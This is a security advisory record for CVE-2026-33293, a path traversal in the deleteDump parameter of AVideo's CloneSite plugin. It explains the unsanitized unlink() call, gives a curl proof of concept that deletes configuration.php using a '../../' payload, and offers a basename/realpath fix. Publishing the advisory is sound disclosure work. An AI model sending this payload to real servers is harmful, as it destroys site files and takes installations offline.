{"id":"GHSA-xmjm-86qv-g226","summary":"AVideo Affected by Arbitrary File Deletion via Path Traversal in CloneSite deleteDump Parameter","details":"## Summary\n\nThe `deleteDump` parameter in `plugin/CloneSite/cloneServer.json.php` is passed directly to `unlink()` without any path sanitization. An attacker with valid clone credentials can use path traversal sequences (e.g., `../../`) to delete arbitrary files on the server, including critical application files such as `configuration.php`, causing complete denial of service or enabling further attacks by removing security-critical files.\n\n## Details\n\nIn `plugin/CloneSite/cloneServer.json.php`, the `$clonesDir` variable is set to the application's storage path appended with `clones/` (line 11). When a `deleteDump` GET parameter is provided, its value is concatenated directly into a path passed to `unlink()` with no validation:\n\n```php\n// plugin/CloneSite/cloneServer.json.php:10-11\n$videosDir = Video::getStoragePath() . \"\";\n$clonesDir = \"{$videosDir}clones/\";\n```\n\n```php\n// plugin/CloneSite/cloneServer.json.php:44-46\nif (!empty($_GET['deleteDump'])) {\n    $resp-\u003eerror = !unlink(\"{$clonesDir}{$_GET['deleteDump']}\");\n    $resp-\u003emsg = \"Delete Dump {$_GET['deleteDump']}\";\n    die(json_encode($resp));\n}\n```\n\nThe intended functionality is to delete SQL dump files generated during the clone process (named via `uniqid()` at line 58). However, because `$_GET['deleteDump']` is never passed through `basename()`, `realpath()`, or any other path normalization function, an attacker can supply directory traversal sequences to escape the `$clonesDir` directory.\n\nGiven a typical `$clonesDir` of `/var/www/html/videos/clones/`, the payload `../../videos/configuration.php` resolves to `/var/www/html/videos/configuration.php`.\n\nThe authentication guard `thisURLCanCloneMe()` at line 38 requires a valid URL and matching key for an admin-approved clone entry (status `=== 'a'`). This is a service-level credential, not an admin session — any approved clone partner possesses these credentials as part of normal operations.\n\nThe legitimate clone client at `cloneClient.json.php:275` only sends server-generated `$json-\u003esqlFile` values (produced by `uniqid()`), but nothing prevents a holder of valid credentials from crafting a manual HTTP request with an arbitrary `deleteDump` value.\n\n## PoC\n\n**Prerequisites:** A valid clone URL and key pair registered and approved by an admin.\n\n**Step 1:** Verify the target file exists (e.g., the application configuration file).\n\n```bash\ncurl -s \"https://avideo.local/videos/configuration.php\" -o /dev/null -w \"%{http_code}\"\n# Expected: 200 (or 302/403 — file exists and is served/protected)\n```\n\n**Step 2:** Send the path traversal payload via the `deleteDump` parameter.\n\n```bash\ncurl -s \"https://avideo.local/plugin/CloneSite/cloneServer.json.php?url=https://approved-clone.local&key=VALID_CLONE_KEY&deleteDump=../../videos/configuration.php\"\n```\n\n**Expected response:**\n\n```json\n{\"error\":false,\"msg\":\"Delete Dump ..\\/..\\/videos\\/configuration.php\",\"url\":\"https:\\/\\/approved-clone.local\",\"key\":\"VALID_CLONE_KEY\",\"useRsync\":0,\"videosDir\":\"\\/var\\/www\\/html\\/videos\\/\",\"sqlFile\":\"\",\"videoFiles\":[],\"photoFiles\":[]}\n```\n\n`\"error\":false` confirms `unlink()` returned `true` — the file was successfully deleted.\n\n**Step 3:** Confirm deletion.\n\n```bash\ncurl -s \"https://avideo.local/videos/configuration.php\" -o /dev/null -w \"%{http_code}\"\n# Expected: 404 or 500 — file no longer exists\n```\n\n**Step 4:** At this point the entire AVideo application is broken, as `configuration.php` contains database credentials and is `require_once`'d by nearly every endpoint.\n\n## Impact\n\n- **Arbitrary file deletion:** An attacker can delete any file readable by the web server process, including application source code, configuration files, uploaded media, and database dumps containing credentials.\n- **Complete denial of service:** Deleting `configuration.php` renders the entire AVideo installation non-functional. Every page load will fatal-error on the missing `require_once`.\n- **Security control bypass:** Deleting `.htaccess` files or other access-control configurations can expose otherwise-protected directories and files.\n- **Data loss:** Uploaded videos, user photos, and SQL backups stored under the videos directory can be permanently destroyed.\n- **Potential escalation:** Deleting specific files (e.g., plugin configurations, auth modules) may weaken the application's security posture and enable further attacks.\n\n## Recommended Fix\n\nApply `basename()` to the `deleteDump` parameter to strip any directory traversal components, ensuring the deletion is restricted to files within `$clonesDir`:\n\n```php\n// plugin/CloneSite/cloneServer.json.php:44-48\nif (!empty($_GET['deleteDump'])) {\n    $deleteDump = basename($_GET['deleteDump']);\n    $filePath = \"{$clonesDir}{$deleteDump}\";\n    if (strpos(realpath($filePath), realpath($clonesDir)) !== 0) {\n        $resp-\u003emsg = \"Invalid file path\";\n        die(json_encode($resp));\n    }\n    $resp-\u003eerror = !unlink($filePath);\n    $resp-\u003emsg = \"Delete Dump {$deleteDump}\";\n    die(json_encode($resp));\n}\n```\n\nThe fix applies defense-in-depth: `basename()` strips path components, and the `realpath()` check ensures the resolved path is still within the intended directory even if `basename()` behavior changes across PHP versions.","aliases":["CVE-2026-33293"],"modified":"2026-07-08T08:29:23.933570276Z","published":"2026-03-19T17:12:04Z","related":["CVE-2026-41058"],"database_specific":{"github_reviewed_at":"2026-03-19T17:12:04Z","nvd_published_at":"2026-03-22T17:17:08Z","cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-xmjm-86qv-g226"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33293"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/941decd6d19e2e694acb75e86317d10fbb560284"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-xmjm-86qv-g226/GHSA-xmjm-86qv-g226.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}]}